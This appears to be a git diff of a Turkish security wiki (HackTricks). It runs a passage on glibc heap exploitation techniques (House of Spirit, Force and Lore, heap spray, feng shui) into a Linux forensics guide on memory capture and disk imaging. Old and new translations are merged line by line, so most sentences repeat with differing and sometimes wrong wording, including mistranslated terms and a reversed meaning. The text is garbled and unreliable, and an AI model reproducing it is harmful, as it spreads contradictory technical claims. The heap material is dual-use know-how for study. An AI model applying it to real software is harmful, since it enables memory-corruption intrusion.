Boyutu 8'den ziyade 16 yaparsak: fastbin\_index() bize fastbins\[0]'ı döndürecektir ve bunu yığını üzerine yazmak için kullanabiliriz. Boyutu 8 yerine 16 yapacak şekilde boyutu değiştirirsek: fastbin\_index() bize fastbins\[0] döndürecektir ve bunu pile yazmak için kullanabiliriz.
Bunun için yığında canary veya garip değerler olmamalıdır, aslında şu şekilde olmalıdır: 4 bayt null + EBP + RET Bunun için pile hiçbir canary veya garip değer olmamalıdır, aslında şu şekilde olmalıdır: 4 bayt null + EBP + RET
4 bayt null, **av**'nin bu adrese işaret edeceği ve bir **av**'nin ilk öğesinin 0 olması gereken bir adrestir. 4 bayt null, **av**'nin bu adrese işaret edeceği ve bir **av**'nin ilk öğesinin 0 olması gereken mutexe işaret etmesi gerekmektedir.
**av->max\_fast** EBP olacak ve bizi kısıtlamalardan geçirecek bir değer olacaktır. **av->max\_fast** EBP olacak ve bizi kısıtlamalardan geçirecek bir değer olacaktır.
**av->fastbins\[0]** adresi **p**'nin adresiyle üzerine yazılacak ve RET olacaktır, böylece shellcode'a atlanacaktır. **av->fastbins\[0]** adresi **p**'nin adresiyle üzerine yazılacak ve RET olacaktır, böylece shellcode'a atlanacaktır.
Ayrıca, **av->system\_mem**'de (yığının pozisyonundan 1484 bayt yukarıda) atlayabileceğimiz yeterince çöp olacaktır. Ayrıca, **av->system\_mem** (pile göre 1484 bayt yukarıda) bize izin verecek kadar çok çöp olmalıdır.
Ayrıca, serbest bırakılan parçanın bitişik parçasının 8'den büyük olması gerekir -> Serbest bırakılan parçanın boyutunun 16 olduğunu söylediğimize göre, bu sahte parçaya sadece 8'den büyük bir boyut koymamız yeterlidir (ayrıca shellcode serbest bırakılan parçada olacağından, sahte parçanın boyut alanının hemen başına, yeni sahte parçanın boyut alanının sonrasındaki nops'a atlayacak bir jmp koymamız gerekecektir). Serbest bırakılan parçanın bitişik parçasının 8'den büyük olması gerekmektedir -> Serbest bırakılan parçanın boyutunun 16 olduğunu söylediğimize göre, bu sahte parçaya sadece 8'den büyük bir boyut koymamız gerekmektedir (ayrıca shellcode'un serbest bırakılan parçada olacağını düşünürsek, sahte parçanın boyut alanının hemen başına bir jmp koymamız gerekecektir).
**The House of Spirit** **The House of Spirit**
Bu durumda, saldırganın değiştirebileceği bir malloc işaretçisine sahip olmayı amaçlıyoruz (örneğin, bu işaretçinin bir değişken üzerindeki taşmaya karşı stack'te olması). Bu durumda, saldırgan tarafından değiştirilebilen bir malloc işaretçisine sahip bir malloc'a ihtiyaç vardır (örneğin, işaretçinin bir değişken üzerindeki taşmaya karşı stack'te olması).
Böylece, bu işaretçiyi istediği yere işaret edecek şekilde yapabiliriz. Ancak, herhangi bir yer uygun değildir, sahte parçanın boyutu av->max\_fast'tan küçük olmalı ve daha spesifik olarak gelecekteki bir malloc() çağrısında istenen boyuta eşit olmalıdır. Bu nedenle, eğer bu savunmasız işaretçiden sonra malloc(40) çağrılacağını biliyorsak, sahte parçanın boyutu 48 olmalıdır. Böylece, bu işaretçinin istenilen yere işaret etmesini sağlayabiliriz. Ancak, herhangi bir yer uygun değildir, sahte parçanın boyutu av->max\_fast'ten küçük olmalı ve daha spesifik olarak gelecekteki bir malloc() çağrısında istenen boyuta 8 eklenmelidir. Bu nedenle, eğer bu savunmasız işaretçiden sonra 40'a malloc(40) çağrılacağını biliyorsak, sahte parçanın boyutu 48 olmalıdır.
Örneğin, program kullanıcıdan bir sayı istediğinde 48 girebilir ve değiştirilebilir malloc işaretçisini bir sonraki 4 bayta (şans eseri EBP'ye ait olabilir, böylece 48 arkada kalır, sanki boyut başlık gibi) işaret edebiliriz. Ayrıca, ptr-4+48 adresinin çeşitli koşulları karşılaması gerekir (bu durumda ptr=EBP), yani 8 < ptr-4+48 < av->system\_mem olmalıdır. Örneğin, program kullanıcıdan bir sayı istediğinde 48 girebilir ve değiştirilebilir malloc işaretçisini 4 sonraki byte'a (şans eseri EBP'ye ait olabilir, böylece 48 arkada kalır, sanki başlık boyutuymuş gibi) yönlendirebiliriz. Ayrıca, ptr-4+48 adresinin çeşitli koşulları karşılaması gerekmektedir (bu durumda ptr=EBP), yani 8 < ptr-4+48 < av->system\_mem.
Bu koşullar sağlandığında, söz konusu malloc(40) çağrıldığında EBP'nin adresi olarak EBP'nin adresi atanacaktır. Saldırgan ayrıca bu malloc'ta ne yazılacağını kontrol edebiliyorsa, EBP ve EIP'yi istediği adrese üzerine yazabilir. Bu koşullar sağlandığında, söz konusu malloc çağrıldığında (malloc(40) olduğunu söylediğimizde), EBP'nin adresi olarak bu işaretçi atanacaktır. Saldırgan ayrıca bu malloc'a ne yazılacağını kontrol edebiliyorsa, EBP ve EIP'yi istediği adrese üzerine yazabilir.
Bu, çünkü free() işlemi, yığının EBP'sine uygun boyutta yeni bir malloc() rezerve etmek istediğini hatırlayacak ve bu adresi atayacaktır. Bu, çünkü free() bu stack'teki EBP'ye işaret eden bir parça olduğunu hatırlayacak ve yeni malloc() için rezerve edilmek istenen mükemmel boyutta bir parça olduğunu kaydedecektir, bu yüzden o adrese atayacaktır.
**The House of Force** **The House of Force**
Gerekenler: Gereksinimler:
* Wilderness'ı üzerine yazılabilir hale getiren bir taşma * Wilderness'ı üzerine yazılabilir hale getiren bir parça taşması
* Kullanıcı tarafından tanımlanan boyutta bir malloc() çağrısı * Kullanıcı tarafından tanımlanan boyutta bir malloc() çağrısı
* Kullanıcı tarafından tanımlanan verilere sahip bir malloc() çağrısı * Kullanıcı tarafından tanımlanan verilere sahip bir malloc() çağrısı
İlk olarak, wilderness parçasının boyutunu çok büyük bir değerle (0xffffffff) üzerine yazarak yapılır, böylece yeterince büyük bir bellek talebi \_int\_malloc() tarafından genişletilmeden işlenecektir. İlk olarak, wilderness parçasının boyutunu çok büyük bir değerle (0xffffffff) üzerine yazmak gerekmektedir, böylece yeterince büyük bir bellek talebi \_int\_malloc() tarafından heap'i genişletmeden işlenecektir.
İkincisi, av->top'u, saldırganın kontrolü altındaki bir bellek bölgesine, örneğin yığın, işaret edecek şekilde değiştirmektir. av->top'a \&EIP - 8 konulacaktır. İkinci olarak, av->top'un saldırganın kontrolü altındaki bir bellek bölgesine, örneğin stack'e işaret etmesi gerekmektedir. av->top'a \&EIP - 8 konulacaktır.
Saldırganın kontrolü altındaki bellek bölgesine işaret eden av->top'u değiştirmek için: Saldırganın kontrolü altındaki bellek bölgesine işaret eden av->top'u üzerine yazmak gerekmektedir:
victim = av->top; victim = av->top;
@ -861,64 +515,62 @@ remainder = chunck\_at\_offset(victim, nb);
av->top = remainder; av->top = remainder;
Victim, mevcut wilderness parçasının adresini (mevcut av->top) alır ve remainder tam olarak bu adresin malloc() tarafından talep edilen bayt sayısı kadar ilerisine eklenir. Bu nedenle, \&EIP-8'in 0xbffff224 olduğu ve av->top'un 0x080c2788 olduğu durumda, av->top'un bir sonraki malloc() için \&EIP-8'e işaret etmesi için kontrol edilen malloc için rezerve edilmesi gereken miktar şudur: Victim, mevcut wilderness parçasının adresini (mevcut av->top) alır ve remainder tam olarak bu adresin malloc() tarafından talep edilen bayt sayısı kadar ilerisine işaret eder. Bu nedenle, \&EIP-8'in 0xbffff224 olduğu ve av->top'un 0x080c2788 olduğu durumda, av->top'un bir sonraki malloc() için \&EIP-8'e işaret etmesi gereken kontrol edilen malloc için rezerve edilmesi gereken bayt miktarı şudur:
0xbffff224 - 0x080c2788 = 3086207644. 0xbffff224 - 0x080c2788 = 3086207644.
Bu şekilde değiştirilmiş değer av->top'a kaydedilir ve bir sonraki malloc EIP'ye işaret eder ve üzerine yazılabilir. Bu şekilde, değiştirilmiş değer av->top'a kaydedilir ve bir sonraki malloc EIP'ye işaret eder ve üzerine yazılabilir.
Yeni wilderness parçasının boyutunun, son malloc() tarafından yapılan talepten daha büyük olması önemlidir. Yani, wilderness \&EIP-8'i işaret ediyorsa, boyut tam olarak yığının EBP alanında kalır. Yeni wilderness parçasının boyutunun, son malloc() tarafından yapılan talepten daha büyük olması gerekmektedir. Yani, wilderness \&EIP-8'e işaret ediyorsa, boyut tam olarak stack'teki EBP alanında kalacaktır.
**The House of Lore** **The House of Lore**
**SmallBin Bozulması** **SmallBin Bozulması**
Serbest bırakılan parçalar, boyutlarına göre bin'e yerleştirilir. Ancak, bunlar bin'e yerleştirilmeden önce sıralanmamış bine konulur. Bir parça serbest bırakıldığında, hemen bin'e konulmaz, sıralanmamış bine kalır. Ardından, yeni bir parça rezerve edilirse ve önceki serbest bırakılan parça yeterliyse, bu parça geri verilir, ancak daha büyük bir parça rezerve edilirse, sıralanmamış bine konulan serbest bırakılan parça uygun bin'e konulur. Serbest bırakılan parçalar, boyutlarına göre bir bine yerleştirilir. Ancak, unsorted bins'e önce yerleştirilirler. Bir parça serbest bırakıldığında hemen bine konulmaz, unsorted bins'te kalır. Ardından, yeni bir parça rezerve edilirse ve önceki serbest bırakılan parça yeterliyse geri verilir, ancak daha büyük bir parça rezerve edilirse, unsorted bins'teki serbest bırakılan parça uygun bine konulur.
Zararlı kodun erişebileceği kodu ulaşmak için bellek talebi av->max\_fast'tan büyük (genellikle 72) ve MIN\_LARGE\_SIZE'dan küçük (512) olmalıdır. Zararlı kodun ulaşılabilmesi için bellek talebi av->max\_fast'ten büyük (genellikle 72) ve MIN\_LARGE\_SIZE'dan küçük (512) olmalıdır.
Eğer bin'de istenilen boyutta bir parça varsa, bu parça çözümlendikten sonra geri döndürülür: Eğer bine uygun boyutta bir parça varsa, bu parça çözümlendikten sonra geri verilir:
bck = victim->bk; Önceki parçaya işaret eder, değiştirebileceğimiz tek bilgidir. bck = victim->bk; Önceki parçaya işaret eder, değiştirebileceğimiz tek bilgidir.
bin->bk = bck; Önceki parça son parça olur, eğer bck yığını işaret ediyorsa, bir sonraki rezerve edilen parça bu adrese verilecektir. bin->bk = bck; Önceki parça son parça olur, bck stack'e işaret ediyorsa, bir sonraki rezerve edilen parçaya bu adres verilecektir.
bck->fd = bin; Liste kapatılır ve bu bin'e işaret eder. bck->fd = bin; Liste kapatılır ve bu bin'e işaret eder.
Gerekenler: Gereksinimler:
İki malloc ayrılmalı, böylece ikincisi serbest bırakıldıktan ve bin'ine eklendikten sonra ilkine taşma yapılabilir (yani taşma yapmadan önce ikinci parçadan daha büyük bir malloc ayrılmış olmalıdır). İki malloc ayrılmalı, böylece ikincisi serbest bırakıldıktan sonra ilkine taşma yapılabilir (yani taşma yapmadan önce ikinci parça serbest bırakılıp binine yerleştirilmiş olmalıdır).
Saldırganın kontrol edebileceği saldırgan tarafından seçilen bir adresi olan malloc ayrılmış olmalıdır. Saldırgan tarafından seçilen adresi alan malloc ayrılmış olmalı.
Amacımız şudur, bir heap'e taşma yapabilirsek ve altında serbest bırakılmış ve bin'ine eklenmiş bir parça varsa, bk işaretçisini değiştirebiliriz. Bk işaretçisini değiştirirsek ve bu parça bin'in listenin başındaki ilk parça olursa ve ayrıldığında, bin yanıltılacak ve bir sonraki parçanın (sunulan) yanlış adreste olduğuna inanılacak (örneğin stack veya GOT'a). Bu durumda başka bir parça ayrıldığında ve saldırganın izinleri varsa, istenen konumda bir parça verilecek ve oraya yazabilecektir. Amacımız şudur: Eğer bir heap'e taşma yapabilirsek ve altında serbest bırakılmış ve binine yerleştirilmiş bir parça varsa, bk işaretçisini değiştirebiliriz. Bk işaretçisini değiştirirsek ve bu parça binin listenin ilk parçası haline gelirse ve ayrıldığında, bin yanıltılacak ve bir sonraki parçanın (sunulan) yanlış adreste olduğuna inanacak (örneğin stack veya GOT'a). Bu durumda başka bir parça ayrıldığında ve saldırganın izinleri varsa, istenen konumda bir parça alacak ve içine yazabilecektir.
Değiştirilen parçanın serbest bırakılmasından sonra serbest bırakılan parçadan daha büyük bir parça ayrılması gerekmektedir, böylece değiştirilen parça sıralanmamış bin'lerden çıkar ve bin'ine eklenir. Değiştirilen parçanın serbest bırakıldıktan sonra serbest bırakılan parçadan daha büyük bir parça ayrılmalı, böylece değiştirilen parça sıralanmamış binlerden çıkar ve binine yerleştirilir.
Bin'ine girdikten sonra bk işaretçisini taşma yaparak istediğimiz adrese işaret etmesi gerekmektedir. Binine yerleştirildikten sonra, taşma yaparak bk işaretçisini değiştirmek için zamanı gelir, böylece bin, malloc() yeterince çağrıldığında değiştirilmiş bin'i tekrar kullanır ve bir sonraki parçanın yanlış adreste olduğuna inanır. Ve ardından istenen parça verilir.
Bu durumda, bin'in, istenilen konumda bir parça vermek için yeterli sayıda malloc() çağrısının yapılmasını beklemesi gerekmektedir ve bin'i yanıltarak bir sonraki parçanın yanlış adreste olduğuna inanmasını sağlamak gerekmektedir. Ve ardından istediğimiz parça verilecektir. Bu zafiyetin mümkün olan en kısa sürede gerçekleşmesi için ideal olan şudur: Zafiyetli parçanın ayrılması, değiştirilecek parçanın ayrılması, bu parçanın serbest bırakılması, değiştirilecek parçadan daha büyük bir parça ayrılması, parça değiştirilir (zafiyet), zafiyetli parçadan aynı boyutta bir parça ayrılması ve zafiyetli parçadan aynı boyutta ikinci bir parça ayrılması ve bu parça seçilen adrese işaret edecek şekilde olmalıdır.
Bu zafiyetin mümkün olan en kısa sürede gerçekleşmesi için ideal olan şudur: Zafiyetli parçanın ayrılması, değiştirilecek parçanın ayrılması, bu parçanın serbest bırakılması, değiştirilecek parçadan daha büyük bir parça ayrılması, parça değiştirilmesi (zafiyet), zafiyetli parçadan aynı boyutta bir parça ayrılması ve zafiyetli parçadan aynı boyutta ikinci bir parça ayrılması ve bu ikincisi seçilen adrese işaret edecektir. Bu saldırıyı korumak için, tipik olarak "yanlış" parçanın kontrolü yapılır: bck->fd'nin victim'a işaret etmediği kontrol edilir. Yani, bizim durumumuzda, stack'te işaret edilen yanlış parçanın fd\* işaretçisinin victim'a işaret edip etmediği kontrol edilir. Bu korumayı aşmak için saldırganın, uygun şekilde (muhtemelen stack üzerinden) victim'ın adresini yazabilmesi gerekir. Böylece gerçek bir parça gibi görünür.
Bu saldırıyı korumak için, tipik olarak, parçanın "yanlış" olmadığını kontrol etmek için bir kontrol yapılır: bck->fd'nin victim'a işaret etmediği kontrol edilir. Yani, bizim durumumuzda, stack'te işaret edilen yanlış parçanın fd\* işaretçisinin victim'a işaret edip etmediği kontrol edilir. Bu korumayı aşmak için saldırganın, doğru adrese (muhtemelen stack üzerinden) victim'ın adresini bir şekilde yazabilmesi gerekir. Böylece yanlış bir parça gibi görünür.
**LargeBin Bozulması** **LargeBin Bozulması**
Önceki gereksinimlerin yanı sıra, ayrılan parçaların 512'den büyük olması gerekmektedir. Önceki gereksinimlerin yanı sıra, ayrılan parçaların 512'den büyük olması gerekir.
Saldırı, öncekiyle aynıdır, yani bk işaretçisini değiştirmek gerekmektedir ve tüm bu malloc() çağrılarına ihtiyaç vardır, ancak ayrıca değiştirilen parçanın boyutunu değiştirmek gerekmektedir, böylece bu boyut - nb < MINSIZE olmalıdır. Saldırı, öncekiyle aynıdır, yani bk işaretçisini değiştirmek gereklidir ve tüm bu malloc() çağrılarına ihtiyaç vardır, ancak değiştirilen parçanın boyutunu değiştirmek gereklidir, böylece bu boyut - nb < MINSIZE olmalıdır.
Örneğin, 1552 boyutunda bir parça koymak, 1552 - 1544 = 8 < MINSIZE olacak şekilde boyutu değiştirmek anlamına gelir (çıkarma negatif olmamalıdır çünkü bir unsigned karşılaştırılır). Örneğin, boyutu 1552 olarak ayarlamak, 1552 - 1544 = 8 < MINSIZE olacak şekilde yapılmalıdır (çıkarma negatif olmamalı çünkü unsigned karşılaştırılır).
Ayrıca, daha karmaşık hale getirmek için bir yama eklenmiştir. Ayrıca, daha da karmaşık hale getirmek için bir yama eklenmiştir.
**Heap Spreyi** **Heap Spreyi**
Temelde, mümkün olan tüm belleği heap'ler için ayırmak ve bunları nops yastığı ile doldurmak ve bu yastık olarak 0x0c kullanmaktır. Yani 0x0c0c0c0c adresine atlamaya çalışılacak ve böylece bu yastıkla çağrılacak bir adres üzerine yazılırsa oraya atlayacaktır. Temel olarak taktik, bir şeylerin üzerine yazılıp yazılmadığını görmek için mümkün olduğunca fazla ayırmaktır ve 0x0c0c0c0c adresine atlamayı denemektir, orada nops olup olmadığını umarak. Temelde, mümkün olan tüm belleği heap'ler için ayırmak ve bunları noplardan oluşan bir shellcode ile doldurmaktır. Ayrıca, bir yastık olarak 0x0c kullanılır. Yani 0x0c0c0c0c adresine atlamaya çalışılacak ve böylece bu yastıkla çağrılacak bir adres üzerine yazılırsa oraya atlayacaktır. Temel olarak taktik, birçok şeyi ayırmak ve bir noktaya atlamak için 0x0c0c0c0c adresine atlamayı ummaktır.
**Heap Feng Shui** **Heap Feng Shui**
Belleği sementasyon yaparak, aralarında serbest bırakılmış parçaların kaldığı şekilde belleği sementlemek anlamına gelir. Taşmayı yapılacak tampon bir boşluğa yerleştirilir. Belleği parçalar arasında serbest bırakılmış parçaların kaldığı şekilde sementlemek için rezervasyonlar ve serbest bırakmalar kullanmaktır. Taşmayı yapılacak tampon bir yumurtanın içine yerleştirilir.
## İlginç Kurslar ## İlginç Kurslar
@ -939,7 +591,7 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin * [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** * **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.** * **Hacking püf noktalarınızı HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
</details> </details>

View file

@ -1,9 +1,9 @@
# Linux Adli Bilişim # Linux Adli Bilişim
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** ile desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -16,8 +16,8 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
@ -26,12 +26,12 @@ HackTricks'i desteklemenin diğer yolları:
### Temel Bilgiler ### Temel Bilgiler
İlk olarak, **iyi bilinen ikili ve kütüphanelere sahip bir USB**'ye sahip olmanız önerilir (sadece ubuntu alabilir ve _/bin_, _/sbin_, _/lib_ ve _/lib64_ klasörlerini kopyalayabilirsiniz), ardından USB'yi bağlayın ve çevre değişkenlerini değiştirerek bu ikilileri kullanın: Öncelikle, **iyi bilinen ikili dosyalar ve kütüphanelere sahip bir USB**'ye sahip olmanız önerilir (sadece ubuntu alabilir ve _/bin_, _/sbin_, _/lib_ ve _/lib64_ klasörlerini kopyalayabilirsiniz), ardından USB'yi bağlayın ve çevresel değişkenleri bu ikili dosyaları kullanacak şekilde değiştirin:
```bash ```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
``` ```
Bir kez sistemi iyi ve bilinen ikili dosyaları kullanacak şekilde yapılandırdıktan sonra **bazı temel bilgileri çıkarmaya** başlayabilirsiniz: Bir kez sistemi iyi ve bilinen ikili dosyaları kullanacak şekilde yapılandırdığınızda, **bazı temel bilgileri çıkarmaya** başlayabilirsiniz:
```bash ```bash
date #Date and time (Clock may be skewed, Might be at a different timezone) date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info uname -a #OS info
@ -51,7 +51,7 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
``` ```
#### Şüpheli bilgiler #### Şüpheli bilgiler
Temel bilgileri elde ederken şu tür garip şeyleri kontrol etmelisiniz: Temel bilgileri elde ederken şu gibi garip şeyleri kontrol etmelisiniz:
- **Root işlemleri** genellikle düşük PIDS ile çalışır, bu yüzden büyük bir PID'ye sahip bir root işlemi bulursanız şüphelenebilirsiniz - **Root işlemleri** genellikle düşük PIDS ile çalışır, bu yüzden büyük bir PID'ye sahip bir root işlemi bulursanız şüphelenebilirsiniz
- `/etc/passwd` içinde kabuğu olmayan kullanıcıların **kayıtlı girişlerini** kontrol edin - `/etc/passwd` içinde kabuğu olmayan kullanıcıların **kayıtlı girişlerini** kontrol edin
@ -63,11 +63,11 @@ Temel bilgileri elde ederken şu tür garip şeyleri kontrol etmelisiniz:
Bunu **derlemek** için, kurban makinenin kullandığı **aynı çekirdeği** kullanmanız gerekmektedir. Bunu **derlemek** için, kurban makinenin kullandığı **aynı çekirdeği** kullanmanız gerekmektedir.
{% hint style="info" %} {% hint style="info" %}
Kurban makineye **LiME veya başka bir şey kuramayacağınızı** unutmayın, çünkü bu makineye çeşitli değişiklikler yapacaktır Kurban makineye **LiME veya başka bir şey kuramayacağınızı** unutmayın, çünkü bu makinede birçok değişiklik yapacaktır.
{% endhint %} {% endhint %}
Bu yüzden, Ubuntu'nun aynı sürümüne sahipseniz `apt-get install lime-forensics-dkms` komutunu kullanabilirsiniz.\ Bu yüzden, Ubuntu'nun aynı sürümüne sahipseniz `apt-get install lime-forensics-dkms` komutunu kullanabilirsiniz.\
Diğer durumlarda, [**LiME**](https://github.com/504ensicsLabs/LiME)'ı github'dan indirip doğru çekirdek başlıklarıyla derlemeniz gerekmektedir. Kurban makinenin **tam çekirdek başlıklarını elde etmek** için sadece `/lib/modules/<çekirdek sürümü>` dizinini kopyalayıp makinenize yapıştırabilir ve ardından bunları kullanarak LiME'ı **derleyebilirsiniz**: Diğer durumlarda, [**LiME**](https://github.com/504ensicsLabs/LiME)'ı github'dan indirip doğru çekirdek başlıklarıyla derlemeniz gerekmektedir. Kurban makinenin **tam çekirdek başlıklarını elde etmek** için sadece `/lib/modules/<çekirdek sürümü>` dizinini kopyalayıp kendi makinenize yapıştırabilir ve ardından bunları kullanarak LiME'ı **derleyebilirsiniz**:
```bash ```bash
make -C /lib/modules/<kernel version>/build M=$PWD make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
@ -84,7 +84,7 @@ LiME ayrıca, dump'ı **sistemde depolamak yerine ağ üzerinden göndermek** i
#### Kapatma #### Kapatma
Öncelikle, **sistemi kapatmanız gerekecek**. Bu her zaman bir seçenek olmayabilir çünkü sistem bazen kapatılamayacak kadar önemli bir sunucu olabilir.\ Öncelikle, **sistemi kapatmanız gerekecek**. Bu her zaman bir seçenek olmayabilir çünkü bazen sistem, şirketin kapatamayacağı bir üretim sunucusu olabilir.\
Sistemi kapatmanın **2 yolu** vardır, **normal kapatma** ve **"fişi çekme" kapatma**. İlk yöntem, **işlemlerin normal şekilde sonlandırılmasına** ve **dosya sisteminin senkronize edilmesine** izin verecektir, ancak aynı zamanda olası **zararlı yazılımın delilleri yok etmesine** de izin verecektir. "Fişi çekme" yaklaşımı, **bazı bilgi kaybı** taşıyabilir (belleğin bir görüntüsünü zaten aldığımız için çok fazla bilgi kaybolmayacak) ve **zararlı yazılımın buna karşı bir şey yapma fırsatı olmayacak**. Bu nedenle, eğer bir **zararlı yazılım olabileceğinden şüpheleniyorsanız**, sadece sistemde **`sync`** **komutunu** çalıştırın ve fişi çekin. Sistemi kapatmanın **2 yolu** vardır, **normal kapatma** ve **"fişi çekme" kapatma**. İlk yöntem, **işlemlerin normal şekilde sonlandırılmasına** ve **dosya sisteminin senkronize edilmesine** izin verecektir, ancak aynı zamanda olası **zararlı yazılımın delilleri yok etmesine** de izin verecektir. "Fişi çekme" yaklaşımı, **bazı bilgi kaybı** taşıyabilir (belleğin bir görüntüsünü zaten aldığımız için çok fazla bilgi kaybolmayacak) ve **zararlı yazılımın buna karşı bir şey yapma fırsatı olmayacak**. Bu nedenle, eğer bir **zararlı yazılım olabileceğinden şüpheleniyorsanız**, sadece sistemde **`sync`** **komutunu** çalıştırın ve fişi çekin.
#### Diskten bir görüntü almak #### Diskten bir görüntü almak
@ -153,10 +153,10 @@ r/r 16: secret.txt
icat -i raw -f ext4 disk.img 16 icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret ThisisTheMasterSecret
``` ```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -165,7 +165,7 @@ Bugün Erişim Alın:
### Değiştirilmiş Sistem Dosyaları ### Değiştirilmiş Sistem Dosyaları
Linux, potansiyel sorunlu dosyaları tespit etmek için kritik sistem bileşenlerinin bütünlüğünü sağlama konusunda araçlar sunar. Linux, potansiyel sorunlu dosyaları tespit etmek için sistem bileşenlerinin bütünlüğünü sağlama konusunda araçlar sunar.
* **RedHat tabanlı sistemler**: Kapsamlı bir kontrol için `rpm -Va` kullanın. * **RedHat tabanlı sistemler**: Kapsamlı bir kontrol için `rpm -Va` kullanın.
* **Debian tabanlı sistemler**: İlk doğrulama için `dpkg --verify` kullanın, ardından `debsums | grep -v "OK$"` ( `apt-get install debsums` ile `debsums`'ı yükledikten sonra) ile herhangi bir sorunu belirlemek için kullanın. * **Debian tabanlı sistemler**: İlk doğrulama için `dpkg --verify` kullanın, ardından `debsums | grep -v "OK$"` ( `apt-get install debsums` ile `debsums`'ı yükledikten sonra) ile herhangi bir sorunu belirlemek için kullanın.
